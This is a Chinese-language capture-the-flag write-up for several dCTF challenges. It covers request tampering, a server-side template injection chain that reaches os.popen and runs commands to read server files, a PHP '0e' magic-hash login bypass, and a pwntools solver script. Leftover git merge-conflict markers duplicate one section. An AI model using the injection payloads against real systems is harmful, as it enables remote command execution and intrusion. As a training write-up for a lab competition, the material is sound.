https://dctf.dragonsec.si/challenges
Simple web(web)
访问http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080/,页面如下
勾选并Submit,页面显示Not authorized
查看提交数据
修改请求体中的auth=1
页面返回flag信息ctf{w3b_c4n_b3_fun_r1ght?}
Injection
访问http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/,页面显示如下
输入任意账号密码,提交后,页面返回Oops! Page login doesn’t exist :(
我后续尝试过爆路径等方式企图获取更多信息,但失败了。
后面从错误信息和response头部获取到相关信息,服务器用的是waitress,是Python WSGI server,所以判断是个SSTI,所以做一下尝试
访问http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7B1+1%7D%7D,页面返回Oops! Page 2 doesn’t exist :(,说明存在SSTI漏洞
接下来利用以下方法进行命令执行
1
2
3
4
5
6
| 1.{{''.__class__}} # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[133]}}#这里我们利用的是<class 'os._wrap_close'>类,根据第二步获取的列表去修改这里的索引,本次是133
5.{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}#利用popen函数执行命令
|
接下来就比较简单了。去查找flag,最终在**./lib/security.py**找到关键信息
访问
1
| http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7B''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat%20./lib/security.py').read()%7D%7D
|
获取security.py的内容
1
2
3
4
5
6
| import base64
def validate_login(username, password):
if username != 'admin':
return False
valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password
|
对valid_password反序后base64解码,就能获得flag:dctf{4ll_us3r_1nput_1s_3v1l}
Very secure website
访问http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/,页面显示如下
查看source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?php
if (isset($_GET['username']) and isset($_GET['password'])) {
if (hash("tiger128,4", $_GET['username']) != "51c3f5f5d8a8830bc5d8b7ebcb5717df") {
echo "Invalid username";
}
else if (hash("tiger128,4", $_GET['password']) == "0e132798983807237937411964085731") {
$flag = fopen("flag.txt", "r") or die("Cannot open file");
echo fread($flag, filesize("flag.txt"));
fclose($flag);
}
else {
echo "Try harder";
}
}
else {
echo "Invalid parameters";
}
?>
|
代码里用了hash算法中的tiger128,4,用关键字去搜索得到以下结果
所以用户名是admin
(密码的密文搜不到)
又看到密码判断的时候,用的是**==**,且密文是0e开头的。所以我们也找一个字符串hash后的密文也是以0e开头的就可以了
在这个网址我们找到了我们想要的内容
https://www.cnblogs.com/Oran9e/p/6537204.html
所以我们在登录页面,输入admin:479763000,就能登录成功并获取到flag:dctf{It’s_magic._I_ain’t_gotta_explain_shit.}
«««< HEAD
备注一个网站,https://md5hashing.net/hash/tiger128,4,该网站可以计算hash和搜索一些已知的hash明文
=======
查看source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?php
if (isset($_GET['username']) and isset($_GET['password'])) {
if (hash("tiger128,4", $_GET['username']) != "51c3f5f5d8a8830bc5d8b7ebcb5717df") {
echo "Invalid username";
}
else if (hash("tiger128,4", $_GET['password']) == "0e132798983807237937411964085731") {
$flag = fopen("flag.txt", "r") or die("Cannot open file");
echo fread($flag, filesize("flag.txt"));
fclose($flag);
}
else {
echo "Try harder";
}
}
else {
echo "Invalid parameters";
}
?>
|
代码里用了hash算法中的tiger128,4,用关键字去搜索得到以下结果
所以用户名是admin
(密码的密文搜不到)
又看到密码判断的时候,用的是**==**,且密文是0e开头的。所以我们也找一个字符串hash后的密文也是以0e开头的就可以了
在这个网址我们找到了我们想要的内容
https://www.cnblogs.com/Oran9e/p/6537204.html
所以我们在登录页面,输入admin:479763000,就能登录成功并获取到flag:dctf{It’s_magic._I_ain’t_gotta_explain_shit.}
备注一个网站,https://md5hashing.net/hash/tiger128,4,该网站可以计算hash和搜索一些已知的hash明文
f5e924feb2a683aff1a805d7a443e4a13b6a141e
Bell
文件拖入IDA内进行分析
main函数(随机数生成并打印)
process函数(遍历并检查输入与预期是否相同):
triangle函数(是一个递归函数):
根据以上内容,写出脚本,如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| from pwn import remote #pip install pwntools
from hashlib import sha256
def solvepow(p):
n = p.recvline()
n=int(n)
print(n)
for i in range(1,n+1):
t=triangle(n,i)
p.sendline(str(t))
print(p.recvline().decode())
def triangle(a1,a2):
if a2>a1:
return 0
if a1==1 and a2==1:
return 1
if a2==1:
return triangle(a1-1,a1-1)
t = triangle(a1,a2-1)
return t+triangle(a1-1,a2-1)
def exploit(p):
p.interactive()
if __name__ == '__main__':
p = remote('dctf-chall-bell.westeurope.azurecontainer.io', 5311)
solvepow(p)
exploit(p)
|
flag:dctf{f1rst_step_t0wards_b3ll_l4bs}
Just In Time
refer
https://blog.csdn.net/qq_46091464/article/details/109030194